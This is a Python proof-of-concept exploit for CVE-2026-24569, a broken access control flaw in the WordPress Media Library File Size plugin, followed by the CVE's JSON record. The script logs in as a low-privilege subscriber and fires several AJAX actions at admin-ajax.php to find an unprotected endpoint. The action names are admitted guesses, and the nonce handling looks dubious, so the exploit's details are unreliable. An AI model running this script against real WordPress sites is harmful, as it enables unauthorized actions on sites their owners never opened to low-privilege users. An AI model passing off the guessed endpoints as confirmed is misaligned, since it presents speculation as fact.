CVE-2026-24569

# CVE-2026-24569 PoC - WordPress Media Library File Size Broken Access Control # Affected: media-library-file-size plugin <= 1.6.7 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Use any low-privilege WordPress account (subscriber role works) USERNAME = "subscriber_user" PASSWORD = "user_password" def get_wordpress_nonce(url): """Extract WordPress nonce for authentication""" response = requests.get(url + "/wp-login.php") if 'wpnonce' in response.text: import re match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if match: return match.group(1) return None def exploit_cve_2026_24569(): """Exploit Missing Authorization vulnerability""" session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{TARGET_URL}/wp-login.php" nonce = get_wordpress_nonce(TARGET_URL) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': TARGET_URL } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as low-privilege user") # Step 2: Trigger the vulnerable endpoint (missing authorization check) # Common vulnerable AJAX action in this plugin vulnerable_actions = [ 'mlfs_get_file_sizes', 'mlfs_scan_media_library', 'media_library_file_size_calculate' ] for action in vulnerable_actions: exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { 'action': action, 'nonce': nonce # May not be required due to missing authorization } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Vulnerable endpoint found: {action}") print(f"[+] Response: {response.text[:500]}") return True print("[-] No vulnerable endpoints found") return False if __name__ == "__main__": exploit_cve_2026_24569()

{"cve": {"id": "CVE-2026-24569", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:14.733", "lastModified": "2026-04-28T15:16:15.377", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Sully Media Library File Size media-library-file-size allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Media Library File Size: from n/a through <= 1.6.7."}, {"lang": "es", "value": "Vulnerabilidad por ausencia de autorización en Sully Media librería Tamaño de Archivo media-library-file-size permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Media Library File Size: desde n/a hasta &lt;= 1.6.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/media-library-file-size/vulnerability/wordpress-media-library-file-size-plugin-1-6-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}